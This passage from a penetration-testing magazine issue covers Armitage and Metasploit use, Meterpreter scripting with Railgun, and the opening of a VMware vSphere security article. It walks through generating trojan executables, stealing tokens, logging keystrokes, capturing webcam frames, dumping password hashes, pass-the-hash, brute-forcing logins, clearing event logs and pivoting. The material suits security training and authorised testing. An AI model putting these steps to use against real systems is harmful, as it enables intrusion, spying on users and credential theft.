ure 10).
Highlight a payload and click Select. Armitage will
update the PAYLOAD, DisablePayloadHandler,
ExitOnSession,LHOST, and LPORT values for
you. Youre welcome to edit these values as you
see fit.
If you select the Start a handler for this pay-
load option, Armitage will set the payload options
to launch a payload handler when the exploit
launches. If you did not select this value, youre
responsible for setting up a multi/handler for the
payload.
Payload Handlers
A payload handler is a server that runs in Metasploit.
Its job is to wait for a payload to connect to your
Metasploit and establish a session.
To quickly start a payload handler, navigate to
Armitage -> Listeners. A bind listener attempts to
connect to a payload listening for a connection. A
reverse listener waits for the payload to connect
back to you.
You may set up shell listeners to receive connec-
tions from netcat.
Go to View -> Jobs to see which handlers are
running.
Generate a Payload
Exploits are great, but dont ignore the simple stuff.
If you can get a target to run a program, then all
you need is an executable. Armitage can generate
an executable from any of Metasploits payloads.
Choose a payload in the module browser, double-
click it, select the type of output, and set your op-
tions. Once you click launch, a save dialog will ask
you where to save the file to (Figure 11).
To create a Windows trojan binary, set the output
type to exe. Set the Template option to a Windows
executable. Set KeepTemplateWorking if youd
like the template executable to continue to work
as normal. Make sure you test the resulting binary.
Some template executables will not yield a work-
ing executable.
Remember, if you have a payload, it needs a
handler. Use the multi/handler output type to cre-
ate a handler that waits for the payload to connect.
This option offers more flexibility and payload op-
tions than the Armitage ->Listeners menu.
If you plan to start a handler and then generate a
payload, heres a tip that will save you some time.
First, configure a multi/handler as described. Hold
down Shift when you click Launch. This will tell Ar-
Figure 10. Choosing a payload Figure 11. Saving the fle

Need a scholarship?
White hats, Ninjas, Grinders, and Engineers listen up!

The Lint Center for National Security Studies awards merit-based
scholarships semi-annually in both J uly and J anuary. A
streamlined, web-based application form is available on our main
portal. Undergraduate and post-graduate students pursuing
technical degrees in computer security, computer science,
diplomacy, and linguistics are encouraged.
LintCenter.org

About the Lint Center: The Lint Center for National Security Studies in the
United States is a Veteran and Minority directed, all-volunteer 501(c)(3)
non-profit organization, dedicated to fostering the educational development
of the next generation of the National Security and Intelligence communities
by providing passionate individuals with scholarship opportunities and
mentorship from experienced National Security personnel.

About the Lint Centers Mentoring Program:
In addition to the scholarship award, winners will acquire an experienced
security practitioner-mentor. With over 150 mentors, the Lint Center is well
positioned to match emerging leaders with practitioners to streamline the
learning curve.

Check out our blog: LintCenter.info
Follow us on Twitter: @LintCenter
Become a fan: facebook.com/LintCenter
EMPOWER, ENHANCE, ENABLE
(Script Kiddies need not apply)
106
EXPLOITING WITH METASPLOIT
TBO 01/2013
mitage to keep the module launch dialog open.
Once your handler is started, change the output
type to the desired value, and click Launch again.
This will generate the payload with the same val-
ues used to create the multi/handler.
Post Exploitation
Managing Sessions
Armitage makes it easy to manage the meterpreter
agent once you successfully exploit a host. Hosts
running a meterpreter payload will have a Meter-
preter N menu for each Meterpreter session (Fig-
ure 12).
If you have shell access to a host, you will see
a Shell N menu for each shell session. Right-click
the host to access this menu. If you have a Win-
dows shell session, you may go to Shell N -> Me-
terpreter to upgrade the session to a Meterpreter
session. If you have a UNIX shell, go to Shell N ->
Upload to upload a file using the UNIX printf com-
mand.
Privilege Escalation
Some exploits result in administrative access to
the host. Other times, you need to escalate privi-
leges yourself. To do this, use the Meterpreter N ->
Access -> Escalate Privileges menu. This will high-
light the privilege escalation modules in the mod-
ule browser.
Try the getsystem post module against Windows
XP/2003 era hosts.
Token Stealing
Another privilege escalation option is token steal-
ing. When a user logs onto a Windows host, a to-
ken is generated and acts like a temporary cookie
to save the user the trouble of retyping their pass-
word when they try to access different resources.
Tokens persist until a reboot. You may steal these
tokens to assume the rights of that user.
To see which tokens are available to you, go to
Meterpreter N -> Access -> Steal Token. Armitage
will present a list of tokens to you. Click Steal To-
ken to steal one.
If you want to revert to your original token, press
Revert to Self. The Get UID button shows your cur-
rent user ID.
Session Passing
Once you exploit a host, duplicating your access
should be a first priority. Meterpreter N -> Access
-> Pass Session will inject meterpreter into mem-
ory and execute it for you. By default this option is
configured to call back to Armitages default Meter-
preter listener. J ust click Launch.
You may also use Pass Session to send Meter-
preter to a friend. Set LPORT and LHOST to the
values of their Meterpreter multi/handler.
If your friend uses Armitage, have them type
set in a Console tab and report the LHOST and
LPORT values to you. These are the values for
their default Meterpreter listener.
File Browser
Meterpreter gives you several options for explor-
ing a host once youve exploited it. One of them is
the file browser. This tool will let you upload, down-
load, and delete files. Visit Meterpreter N -> Ex-
plore -> Browse Files to access the File Browser.
Right-click a file to download or delete it. If you
want to delete a directory, make sure its empty first.
You may download entire folders or individu-
al files. Go to View -> Downloads to access your
downloaded files.
If you have system privileges, you may modify
the file timestamps using the File Browser. Right-
click a file or directory and go to the Timestamp
menu. This features works like a clipboard. Use
Get MACE Values to capture the timestamps of
the current file. Right-click another file and use Set
MACE Values to update the timestamps of that file.
Command Shell
You can reach a command shell for a host through
Meterpreter N -> Interact -> Command Shell. The
Meterpreter shell is also available under the same
parent menu.
Navigating to the Meterpreter N menu for each
action gets old fast. Right-click inside the Meter-
preter shell window to see the Meterpreter N menu
items right away. Figure 12. Meterpreter menu
www.hakin9.org/en 107
Close the command shell tab to kill the process
associated with the command shell.
VNC
To interact with a desktop on a target host, go to
Meterpreter N -> Interact -> Desktop (VNC). This
will stage a VNC server into the memory of the
current process and tunnel the connection through
Meterpreter. Armitage will provide you the details
to connect a local VNC client to your target.
Screenshots and Webcam Spying
To grab a screenshot use Meterpreter N -> Explore
-> Screenshot. There is a Webcam Shot option in
the same location. This option snaps a frame from
the users webcam.
Right-click a screenshot or webcam shot image
to change the zoom for the tab. This zoom prefer-
ence will stay, even if you refresh the image. Click
Refresh to update the screenshot or grab another
frame from the webcam. ClickWatch (10s) to auto-
matically snap a picture every ten seconds.
Process Management and Key Logging
Go to Meterpreter N -> Explore -> Show Process-
es to see a list of processes on your victim. Use Kill
to kill the highlighted processes.
Meterpreter runs in memory. Its possible to move
Meterpreter from one process to another. This is
called migration. Highlight a process and click Mi-
grate to migrate to another process. Your session
will have the permissions of that process.
While in a process, its also possible to see key-
strokes from the vantage point of that process.
Highlight a process and click Log Keystrokes to
launch a module that migrates meterpreter and
starts capturing keystrokes. If you key log from
explorer.exe you will see all of the keys the user
types on their desktop.
If you choose to migrate a process for the pur-
pose of key logging, you should duplicate your
session first. If the process Meterpreter lives in
closes, your session will go away.
Post-exploitation Modules
Metasploit has several post-exploitation mod-
ules too. Navigate the post branch in the mod-
ule browser. Double-click a module and Armitage
will show a launch dialog. Armitage will populate
the modules SESSION variable if a compromised
host is highlighted. Each post-exploitation module
will execute in its own tab and present its output
to you there.
To find out which post modules apply for a ses-
sion: right-click a compromised host and navigate
to Meterpreter N ->Explore -> Post Modules or
Shell N -> Post Modules. Clicking this menu item
will show all applicable post modules in the mod-
ule browser.
Metasploit saves post-exploitation data into a
Loot database. To view this data go to View -> Loot.
You may highlight multiple hosts and Armit-
age will attempt to run the selected post module
against all of them. Armitage will open a new tab
for the post module output of each session. This
may lead to a lot of tabs. Hold down shift and click
X on one of the tabs to close all tabs with the same
name.
Maneuver
Pivoting
Metasploit can launch attacks from a compromised
host and receive sessions on the same host. This
ability is called pivoting.
To create a pivot, go to Meterpreter N -> Pivoting
-> Setup.... A dialog will ask you to choose which
subnet you want to pivot through the session.
Once youve set up pivoting, Armitage will draw
a green line from the pivot host to all targets reach-
able by the pivot you created. The line will become
bright green when the pivot is in use.
To use a pivot host for a reverse connection, set
the LHOST option in the exploit launch dialog to
the IP address of the pivot host.
Scanning and External Tools
Once you accessed a host, its good to explore and
see what else is on the same network. If youve set
up pivoting, Metasploit will tunnel TCP connections
to eligible hosts through the pivot host. These con-
nections must come from Metasploit.
To find hosts on the same network as a compro-
mised host, right-click the compromised host and
go to Meterpreter N-> ARP Scan or Ping Sweep.
This will show you which hosts are alive. Highlight
the hosts that appear, right-click, and select Scan
to scan these hosts using Armitages MSF Scan
feature. These scans will honor the pivot you set
up.
External tools (e.g., nmap) will not use the pivots
youve set up. You may use your pivots with exter-
nal tools through a SOCKS proxy though. Go to
Armitage -> SOCKS Proxy... to launch the SOCKS
proxy server.
The SOCKS4 proxy server is one of the most
useful features in Metasploit. Launch this option
and you can set up your web browser to con-
nect to websites through Metasploit. This allows
you to browse internal sites on a network like
youre local. You may also configure proxychains
108
EXPLOITING WITH METASPLOIT
TBO 01/2013
on Linux to use almost any program through a
proxy pivot.
Password Hashes
To collect Windows password hashes, visit Meter-
preter N -> Access -> Dump Hashes. You need ad-
ministrative privileges to do this.
There are two hash dumping options. One is the
lsass method and the other is the registry method.
The lsass method attempts to grab the password
hashes from memory. This option works well against
Windows XP/2003 era hosts. The registry method
works well against modern Windows systems.
You may view collected hashes through View ->
Credentials. For your cracking pleasure, the Ex-
port button in this tab will export credentials in pw-
dump format. You may also use the Crack Pass-
words button to run J ohn the Ripper against the
hashes in the credentials database.
Pass-the-Hash
When you login to a Windows host, your password
is hashed and compared to a stored hash of your
password. If they match, youre in. When you at-
tempt to access a resource on the same Windows
domain, the stored hash is sent to the other host
and used to authenticate you. With access to these
hashes, you can use this mechanism to take over
other hosts on the same domain. This is called a
pass-the-hash attack.
Use Login -> psexec to attempt a pass-the-hash
attack against another Windows host. Click Check
all Credentials to have Armitage try all hashes and
credentials against the host.
The pass-the-hash attack attempts to upload a
file and create a service that immediately runs.
Only administrator users can do this. Further, your
targets must be on the same active directory do-
main for this attack to work.
Using Credentials
Armitage will create a Login menu on each host
with known services. Right-click a host and nav-
igate to Login ->service. This will open a dialog
where you may choose a username and password
from the credentials known to Metasploit.
Some services (e.g. telnet and ssh) will give you
a session when a login succeeds. Others will not.
Check the Try all credentials option and
Metasploit will login to the service with each of the
known credentials. Metasploit automatically adds
each successful login to the credentials table for
you.
The best way into a network is through valid cre-
dentials. Remember that a successful username/
password combination from one service may give
you access to another host that you couldnt ex-
ploit.
Password Brute Force
Metasploit can attempt to guess a username and
password for a service for you. This capability is
easy to use through the module browser.
Metasploit supports brute forcing through the
auxiliary modules named service_login. Type login
in the module browser to search for them.
To brute force a username and password over
SSH, browse to auxiliary/scanner/ssh/ssh_login in
the modules panel and double-click it.
If you know the username, set the USERNAME
variable. If youd like Metasploit to brute force the
username, select a value for USER_FILE. Dou-
ble-click the USER_FILE variable to bring up a file
chooser where you can select a text file containing
a list of usernames.
Metasploit has many files related to brute forcing
in the [metasploit install]/data/wordlists directory.
Set the PASS_FILE variable to a text file contain-
ing a list of passwords to try.
If youre only brute forcing one host and you have
a lot of usernames/passwords to try, I recommend
using an external tool like Hydra. Metasploit does
not make several parallel connections to a single
host to speed up the process. This lesson can be
taken one step further use the right tool for each
job.
Remote Metasploit
Remote Connections
You can use Armitage to connect to an existing
Metasploit instance on another host. Working with
a remote Metasploit instance is similar to working
with a local instance. Some Armitage features re-
quire read and write access to local files to work.
Armitages deconfliction server adds these fea-
tures and makes it possible for Armitage clients to
use Metaspoit remotely.
Connecting to a remote Metasploit requires start-
ing a Metasploit RPC server and Armitages de-
Figure 13. Your usage of Metasploit with Metasploit RPC
server and Armitages deconfiction server
www.hakin9.org/en 109
confliction server. With these two servers set up,
your use of Metasploit will look like this diagram:
Figure 13.
Multi-Player Metasploit Setup
The Armitage Linux package comes with a team-
server script that you may use to start Metasploits
RPC daemon and Armitages deconfliction server
with one command. To run it:
cd / pat h/ t o/ met aspl oi t / msf 3/ dat a/ ar mi t age
. / t eamser ver [ ext er nal I P addr ess] [ passwor d]
This script assumes armitage.jar is in the cur-
rent folder. Make sure the external IP address is
correct (Armitage doesnt check it) and that your
team can reach port 55553 on your attack host.
Thats it.
Metasploits RPC daemon and the Armitage de-
confliction server are not GUI programs. You may
run these over SSH.
The Armitage team server communicates over
SSL. When you start the team server, it will pres-
ent a server fingerprint. This is a SHA-1 hash of the
servers SSL certificate. When your team members
connect, Armitage will present the hash of the cer-
tificate the server presented to them. They should
verify that these hashes match.
Do not connect to 127.0.0.1 when a teamserv-
er is running. Armitage uses the IP address youre
connecting to determine whether it should use SSL
(teamserver, remote address) or non-SSL (msfr-
pcd, localhost). You may connect Armitage to your
teamserver locally, use the [external IP address] in
the Host field.
Armitages red team collaboration setup is CPU
sensitive and it likes RAM. Make sure you have
1.5GB of RAM in your team server.
Multi-Player Metasploit
Armitages red team collaboration mode adds a
few new features. These are described here:
View -> Event Log opens a shared event log.
You may type into this log and communicate as
if youre using an IRC chat room. In a penetration
test this event log will help you reconstruct major
events (Figure 14).
Multiple users may use any Meterpreter ses-
sion at the same time. Each user may open one
or more command shells, browse files, and take
screenshots of the compromised host.
Metasploit shell sessions are automatically
locked and unlocked when in use. If another user
is interacting with a shell, Armitage will warn you
that its in use.
Some Metasploit modules require you to spec-
ify one or more files. If a file option has a + next
to it, then you may double-click that option name
to choose a local file to use. Armitage will upload
the chosen local file and set the option to its re-
mote location for you. Generally, Armitage will do
its best to move files between you and the shared
Metasploit server to create the illusion that youre
using Metasploit locally.
Penetration testers will find this feature invalu-
able. Imagine youre working on a pen test and
come across a system you dont know much
about. You can reach back to your company and
ask your local expert to load Armitage and con-
nect to the same Metasploit instance. They will
immediately have access to your scan data and
they can interact with your existing sessions...
seamlessly.
Or, imagine that youre simulating a phishing at-
tack and you get access to a host. Your whole
team can now work on the same host. One per-
son can search for data, another can set up a piv-
Figure 14. The event log
110
EXPLOITING WITH METASPLOIT
TBO 01/2013
ot and search for internal hosts to attack, and an-
other can work on persistence. The sky is the limit
here.
Some meterpreter commands may have short-
ened output. Multi-player Armitage takes the initial
output from a command and delivers it to the cli-
ent that sent the command. Additional output is ig-
nored (although the command still executes nor-
mally). This limitation primarily affects long running
meterpreter scripts.
Scripting Armitage
Cortana
Armitage includes Cortana, a scripting technolo-
gy developed through DARPAs Cyber Fast Track
program. With Cortana, you may write red team
bots and extend Armitage with new features. You
may also make use of scripts written by others.
Cortana is based on Sleep, an extensible Perl-
like language. Cortana scripts have a .cna suffix.
Read the Cortana Tutorial to learn more about
how to develop bots and extend Armitage (Figure
15).
Stand-alone Bots
A stand-alone version of Cortana is distributed with
Armitage. You may connect the stand-alone Cor-
tana interpreter to an Armitage team server.
Her e s a hel l owor l d. cna Cor t ana scr i pt :
on r eady { pr i nt l n( Hel l o Wor l d! ) ; qui t ( ) ; }
To run this script, you will need to start Corta-
na. First, stand-alone Cortana must connect to a
team server. The team server is required because
Cortana bots are another red team member.
If you want to connect multiple users to
Metasploit, you have to start a team server.
Next, you will need to create a connect.prop file
to tell Cortana how to connect to the team server
you started. Heres an example connect.prop file:
host =127. 0. 0. 1 por t =55553 user =msf pass=passwor d
ni ck=MyBot
Now, to launch your bot:
cd / pat h/ t o/ met aspl oi t / msf 3/ dat a/ ar mi t age
j ava - j ar cor t ana. j ar connect . pr op hel l owor l d. cna
Script Management
You dont have to run Cortana bots stand-alone.
You may load any bot into Armitage directly. When
you load a bot into Armitage, you do not need to
start a teamserver. Armitage is able to deconflict its
actions from any loaded bots on its own.
You may also use Cortana scripts to extend Ar-
mitage and add new features to it. Cortana scripts
may define keyboard shortcuts, insert menus into
Armitage, and create simple user interfaces.
To load a script into Armitage, go to Armitage
-> Scripts. Press Load and choose the script you
would like to load. Scripts loaded in this way will be
available each time Armitage starts.
Output generated by bots and Cortana com-
mands are available in the Cortana console. Go to
View -> Script Console.
Figure 15. The Cortana Tutorial
Resources
Cortana is a full featured environment for developing
red team bots and extending Armitage. If youd like to
learn more, take a look at the following resources:
Cortana Tutorial for Scripters
Public Cortana Script Repository
Sleep Manual
MICHAEL BOMAN
Michael Boman is a penetration tester by
day and a malware researcher by night.
Michael has more than 10 years experi-
ence in security testing of applications
and infrastructure. He also deliver cours-
es in security testing and secure develop-
ment. Michael is passionate about computer security
and doing his best so that more people do it right from
start. You can fnd him at his website http://michaelbo-
man.org where he tries to share his experiences when-
ever he can.
112
TOOLS
TBO 01/2013
Advance Meterpreter
with API, Mixins and Railgun
Meterpreter is considered the heart of metasploit it provides
a wide range of features that can be performed during post
exploitation. The main role of meterpreter is to make our
penetration task easier and faster.
I
n this tutorial we will talk about some of the ad-
vanced concepts related to meterpreter. We will
dive deeper into the core of metasploit to un-
derstand how meterpreter scripts function and how
we can build our own scripts.
From a penetration testers point of view, it is
very essential to know how to implement their own
scripting techniques, to fulfill the needs of their
scenario. There can be situations when you have
to perform tasks where meterpreter may not be
enough to solve your requirements. So you cannot
sit back. This is where developing own scripts and
modules becomes handy. In this tutorial, we will
discuss the meterpreter API and some important
mixins. Then in later recipes, we will code our own
meterpreter scripts.
Meterpreter API
Meterpreter API can be helpful for programmers
to implement their own scripts during penetration
testing. Since the entire Metasploit framework is
built using the Ruby language, some experience in
Ruby programming can enhance your penetration
experience with metasploit. We will be dealing with
Ruby scripts in the next few recipes, so some Ru-
by programming experience will be required to un-
derstand the scripts. Even if you have a basic un-
derstanding of Ruby, or other scripting languages,
it will be easy for you to understand the concepts.
Let us start with launching an interactive Ruby
shell in the meterpreter. Here I am assuming that
we have already exploited the target (Windows 7)
and have an active meterpreter session.
The Ruby shell can be launched by using the irb
command.
met er pr et er > i r b
[ *] St ar t i ng I RB shel l
[ *] The cl i ent var i abl e hol ds t he met er pr et er
cl i ent
Now, we are into the Ruby shell and can execute
our Ruby scripts. Let us start with a basic addition
of two numbers.
>> 2+2
=> 4
This demonstrates that our shell is working fne
and can interpret the statements. Let us perform a
complex operation now. Let us create a hash and
store some values in it along with keys. Then we
will delete the values conditionally. The script will
look something like this:
x = { a => 100, b => 20 }
x. del et e_i f { | key, val ue| val ue < 25 }
pr i nt x. i nspect
The script is simple to understand. In the frst line,
we created keys (a & b) and assigned them values.
Then in the next line we added a condition that de-
www.hakin9.org/en 113
letes any hash element whose value is less than
25. Lets look at some print API calls which will be
useful to us while writing meterpreter scripts.
print_line(message): This call will print the
output and add a carriage return at the end.
print_status(message): This call is used most of-
ten in the scripting language. This call will provide
a carriage return and print the status of whatever
is executing, with a [*] prefxed at the beginning.
>> pr i nt _st at us( Pent est Mag)
[ *] Pent est Mag
=> ni l
print_good(message): This call is used to
provide result of any operation. The message
is displayed with a [+] prefxed at the beginning,
indicating that the action was successful.
>> pr i nt _good( Pent est Mag)
[ +] Pent est Mag
=> ni l
print_error(message): This call is used to display
an error message that may occur during script ex-
ecution. The message is displayed with a [-] pre-
fxed at the beginning of the error message.
>> pr i nt _er r or ( Pent est Mag)
[ - ] Pent est Mag
=> ni l
The reason why I discussed these different print
calls is that they are used widely while writing me-
terpreter scripts in respective situations. You can
fnd documentation relating to the meterpreter
API in /opt/framework3/msf3/documentation. Go
through them in order to have a clear and detailed
understanding. You can also refer to /opt/frame-
work3/msf3/lib/rex/post/meterpreter, where you
can fnd lots of scripts related to meterpreter API.
These scripts comprise the various Meterpreter
core, desktop interaction, privileged operations,
and many more commands. Review these scripts
to become intimately familiar how Meterpreter op-
erates within a compromised system.
Meterpreter Mixins
Meterpreter mixins are metasploit specific irb calls.
These calls are not available in irb, but they can be
used to represent the most commons tasks while
writing meterpreter scripts. They can simplify our
task of writing meterpreter specific scripts. Let us
see some useful mixins:
cmd_exec(cmd): Executes the given command
as hidden and channelized. The output of the
command is provided as a multiline string.
eventlog_clear(evt = ): Clears a given event
log or all event logs if none is given. It returns
an array of event logs that were cleared.
eventlog_list(): Enumerates the event logs and re-
turns an array containing the names of the event logs.
fle_local_write(fle2wrt, data2wrt): Writes a
given string to a specifed fle.
is_admin?(): Identifes whether or not the user
is an admin. Returns true if the user is an ad-
min or false if not.
is_uac_enabled?(): Determines whether User
Account Control (UAC) is enabled on the system.
registry_createkey(key): Creates a given regis-
try key and returns true if successful.
registry_deleteval(key,valname): Deletes a reg-
istry value given the key and value name. It re-
turns true if successful.
registry_delkey(key): Deletes a given registry
key and returns true if successful.
registry_enumkeys(key): Enumerates the sub-
keys of a given registry key and returns an ar-
ray of subkeys.
registry_enumvals(key): Enumerates the val-
ues of a given registry key and returns an array
of value names.
registry_getvaldata(key,valname): Returns the
data of a given registry key and its value.
service_create(name, display_name, execut-
able_on_host,startup=2): Function for the cre-
ation of a service that runs its own process. Its
parameters are the service name as a string,
the display name as a string, the path of the ex-
ecutable on the host that will execute at startup,
as a string, and the startup type as an integer: 2
for Auto, 3 for Manual or 4 for Disable.
service_delete(name): Function for deleting a
service by deleting the key in the registry.
service_info(name): Retrieves the Windows
service information. The information is re-
turned in a hash with display name, startup
mode, and command executed by the service.
The service name is case sensitive. Hash keys
are Name, Start, Command, and Credentials.
service_list(): Lists all Windows services present.
It returns an array containing the services names.
service_start(name): Function for service startup.
It returns 0 if the service is started, 1 if the service
is already started, and 2 if the service is disabled.
service_stop(name): Function for stopping a ser-
vice. It returns 0 if the service has stopped suc-
cessfully, 1 if the service is already stopped or
disabled, and 2 if the service cannot be stopped.
114
TOOLS
TBO 01/2013
This was a quick reference to some the more im-
portant meterpreter mixins. Using these mixins
can reduce the complexity of your scripts. We
will understand their usage in the next few para-
graphs where we will be creating and analyzing
meterpreter scripts.
RailGun- Converting Ruby into a weapon
In the previous discussion we saw the use of me-
terpreter API to run Ruby scripts. Let us take that
one step further. What can be the simplest method
to make remote API calls on the victim machine?
Railgun is the obvious answer. It is a meterpreter
extension that allows an attacker to call DLL func-
tions directly. Most often it is used to make calls to
the Windows API, but we can call any DLL on the
victims machine.
To start using Railgun, we will require an active
meterpreter session on our target machine. To
start the Ruby interpreter we use the irb command,
as discussed in the previous section.
met er pr et er >i r b
>>
Before we move into calling DLLs, let us frst see
the essential steps to follow in order to get the
best use out of Railgun.
Identify the function(s) you wish to call
Locate the function on http://msdn.microsoft.
com/en-us/library/aa383749(v=vs.85).aspx
Check the library(DLL) in which the function is
located(e.g. kernel32.dll)
The selected library function can be called as cli-
ent.railgun.dll_name.function_name(arg1, arg2, ...)
Windows MSDN library can be used to iden-
tify useful DLLs and functions to call on the tar-
get machine. Let us call a simple IsUserAnAdmin
function of shell32.dll and analyse the output.
>> cl i ent . r ai l gun. shel l 32. I sUser AnAdmi n
=> {Get Last Er r or =>0, r et ur n=>f al se}
As we can see, the function returned a false val-
ue indicating that the user is not an admin. Let us
escalate our privilege using the getsystem com-
mand and try the call again.
met er pr et er > get syst em
. . . got syst em( vi a t echni que 4) .
met er pr et er > i r b
[ *] St ar t i ng I RB shel l
[ *] The cl i ent var i abl e hol ds t he met er pr et er
cl i ent
>> cl i ent . r ai l gun. shel l 32. I sUser AnAdmi n
=> {Get Last Er r or =>0, r et ur n=>t r ue}
This time the function returned true indicating
that our privilege escalation was successful and
now we are working as the system admin. Railgun
provides us the fexibility to easily perform those
tasks which are not present in the form of mod-
ules. So we are not just limited to those scripts
and modules that the framework provides us, in
fact we can make calls on demand.
You can further extend this call into a small Ruby
script with error checking:
pr i nt _st at us Runni ng t he I sUser AnAdmi n f unct i on
st at us = cl i ent . r ai l gun. shel l 32. I sUser AnAdmi n( )
i f st at us[ r et ur n ] == t r ue t hen
pr i nt _st at us You ar e an admi ni st r at or
el se
pr i nt _er r or You ar e not an admi ni st r at or
end
Using Railgun can be a very powerful and exciting
experience. You can practice your own calls and
scripts to analyze the outputs. But, what if the DLL,
or the function you want to call is not a part of the
Railgun defnition. In that case Railgun also provides
you the fexibility to add your own functions and
DLLs to Railgun. Let us see how this can be done.
In order to do this we should have an under-
standing of Windows DLLs. The Railgun manual
can be helpful in giving you a quick idea about dif-
ferent Windows constants that can be used while
adding function definitions. It can be found at the
following location:
/ f r amewor k3/ msf 3/ ext er nal / sour ce/ met er pr et er /
sour ce/ ext ensi ons/ st dapi / ser ver / r ai l gun/ r ai l gun_
manual . pdf
Adding a new DLL defnition to Railgun is an easy
task. Suppose you want to add a DLL that ships
with Windows, but it is not present in your Rail-
gun, then you can create a DLL defnition under:
/ f r amewor k3/ l i b/ r ex/ post / met er pr et er / ext ensi ons/
st dapi / r ai l gun/ def and name i t as def _dl l name. r b.
Consider the example of adding shell32.dll defni-
tion into Railgun. We can start with adding the fol-
lowing lines of codes:
www.hakin9.org/en 115
modul e Rex
modul e Post
modul e Met er pr et er
modul e Ext ensi ons
modul e St dapi
modul e Rai l gun
modul e Def
cl ass Def _shel l 32
def sel f . cr eat e_dl l ( dl l _pat h = shel l 32 )
dl l = DLL. new( dl l _pat h, Api Const ant s. manager )
. . . . . .
end
end
end; end; end; end; end; end; end
Saving this code as def_shell32.dll will create a
Railgun defnition for shell32.dll.
The next step is to add functions to the DLL def-
inition. If you look at the def_shell32.dll script in
metasploit, you will see the IsUserAnAdmin func-
tion is already added into it.
dl l . add_f unct i on( I sUser AnAdmi n , BOOL , [ ] )
The function simply returns a Boolean True or
False depending upon the condition. Similarly,
we can add our own function defnition in shell32.
dll. Consider the example of adding OleFlushClip-
board() function. This will fush any data that is
present on Windows clipboard.
Adding the following line of code in the shell32.dll
definition will solve our purpose:
dl l . add_f unct i on( Ol eFl ushCl i pboar d , BOOL , [ ] )
Now save the fle and go back to meterpreter ses-
sion to check if the function executes successful-
ly or not.
>> cl i ent . r ai l gun. shel l 32. Ol eFl ushCl i pboar d
=> {Get Last Er r or =>0, r et ur n=>t r ue}
Alternately you can also add the DLLs and func-
tions directly to Railgun using add_dll and add_
function. Here is a complete script that checks for
the availability of shell32 DLL and OleFlushClip-
board function, and if they are not present, then
add them using add_dll and add_function calls
(Listing 1).
This was a short demonstration on how to use
Railgun as a powerful tool to call Windows APIs
depending on your need. You can look for various
useful Windows API calls in MSDN library and add
them into Railgun and enhance the functionality of
your framework. It can be used to call any DLL
that is residing on target machine.
ABHINAV SINGH
Abhinav Singh is a young information
security specialist from India. He has
a keen interest in the feld of Hacking
and Network security and has adopt-
ed this feld as his full time employ-
ment. He is the author of Metasploit
penetration testing cookbook , a
book dealing with Metasploit and penetration testing.
He is also a contributor of SecurityXploded community.
Abhinavs work has been quoted in several portals and
technology magazines worldwide. He can be reached at:
Mail: abhinavbom@gmail.com.
Twitter: @abhinavbom
Listing 1. Add shell32 DLL and OleFlushClipboard function
if cl i ent . r ai l gun. get _dl l ( shel l 32 ) == ni l
pr i nt _st at us Addi ng Shel l 32. dl l
cl i ent . r ai l gun. add_dl l ( shel l 32 , C:\ \ WI NDOWS\ \ syst em32\ \ shel l 32. dl l )
else
pr i nt _st at us Shel l 32 al r eady l oaded. . ski ppi ng
end

if cl i ent . r ai l gun. shel l 32. f unct i ons[ Ol eFl ushCl i pboar d ] == ni l
pr i nt _st at us Addi ng t he Fl ush Cl i pboar d f unct i on
cl i ent . r ai l gun. add_f unct i on( shel l 32 , Ol eFl ushCl i pboar d , BOOL , [])
else
pr i nt _st at us Ol eFl ushCl i pboar d al r eady l oaded. . ski ppi ng
end
116
TOOLS
TBO 01/2013
vMware vSphere
Security and Metasploit Exploitation Framework
VMware vSphere is another layer in your overall environment to
attack. In this article you will learn some of the threats, how to
mitigate them and how to attack that virtual layer.
F
or a number of years now I have had the
privilege of traveling the globe while work-
ing with some amazing individuals to pro-
vide security assessments and training. In recent
years, this work has evolved from performing
standard security assessments, forensics and
pentesting to focusing on security within the vir-
tual environment. I was introduced to the VMware
Hypervisor and it various products by Tim Pier-
son, a cloud security expert out of Dallas, TX.
Working with virtualization has proven to be very
enjoyable; however there is always a downside.
Many owners, managers and administrators often
ignore the need to assess the security of their VM-
ware vSphere environments. Since virtualization
is normally implemented in the internal network,
the level of risk has been considered low and the
security around the Hypervisor and vCenter have
been terribly overlooked! Working with VMTrain-
ing to develop courseware to help us understand
the risks that are inherent within this environment
has been a real privilege and I have enjoyed be-
ing on the cutting edge of a technology that has
taken over the world!
We are making certain assumptions while writ-
ing this article. For example, we will not go into
what VMware vSphere, Hypervisor or vCenter is
or does and we expect that you will have a general
working knowledge of the VMware environment in
order to understand the topics we will be explain-
ing and demonstrating within this article.
We are going to start this article by discussing a
few of the reasons why virtual architecture should
be viewed as yet another layer within an environ-
ment that contributes to the environments overall
attack surface. First of all, the virtualization soft-
ware is the underlying bedrock of the virtualized
environment. All virtual servers are dependent up-
Figure 1. Shodan Search
Figure 2. Shodan Search Results
www.hakin9.org/en 117
on it and when access is gained
to management interfaces, the
entire infrastructure can be
owned. We all understand that
virtualization can be deployed
in many different ways ranging
from a simple design to more ro-
bust and complex architectures.
Regardless of the complexity of
the deployment, they all have
threats that must be assessed.
I have seen best of breed de-
ployments where most every
threat has been covered and
I have also seen deployments
exposed to the web which are
easy to access by anyone. Take,
for example, the use of Shodan
at http://www.shodanhq.com.
If you are not familiar with this
website, you should spend some
time gaining an understanding of
the capabilities behind this im-
pressive system. A simple ex-
planation is that it is a server
search engine. In Figure 1, you
will see a simple search for VM-
ware ESX.
This is a list of hosts that are
directly connected to the Inter-
net and Shodan has found them.
Wow, that is scary! This is no se-
curity, would you agree? While
some of these systems may be
development servers, this level
of exposure is not a good idea!
When we use a browser to navi-
gate to one of the IP Addresses
found with Shodan, we see the
following in Figure 3.
Look Familiar? I think they are
asking us to exploit their weak
security posture! Ok, that is il-
legal so please do nothing more
than look!
There are hundreds of threats
related to the overall VMware en-
vironment ranging from attacks
on the hypervisor, vCenter, Up-
date Manager, Data Recovery
and many others. I would like you
to notice the results of the attacks
directly against an ESXi 4.x host
in Figure 4. When looking at the
statistics from Secunia, we can Figure 5. Threat Impact on vCenter Server 4.x
Figure 4. Threat Impact on ESXi 4.x
Figure 3. ESXi 5 Host Found with Shodan Search
118
TOOLS
TBO 01/2013
see that the top 2 results are Sys-
tem access and DoS! System
access on an ESXi host that will
allow an attacker to access ev-
erything on the box! What about
vCenter? See Figures 5 and 6.
As you can see, the devasta-
tion of attacks against vCenter is
significant. Keep in mind that the
worst credit card heist in known
history, the Gonzalez indictment,
occurred from 2006-2008 in a vir-
tualized environment! The attack
was performed against systems
that were running on ESX. In the
end, the attackers placed a root-
kit on the ESX host that captured
credit card information traveling
through the host memory and
CPU. In other words, they cap-
tured the traffic for many of the
SQL servers at one time which re-
sulted in 140 to 180 million cards
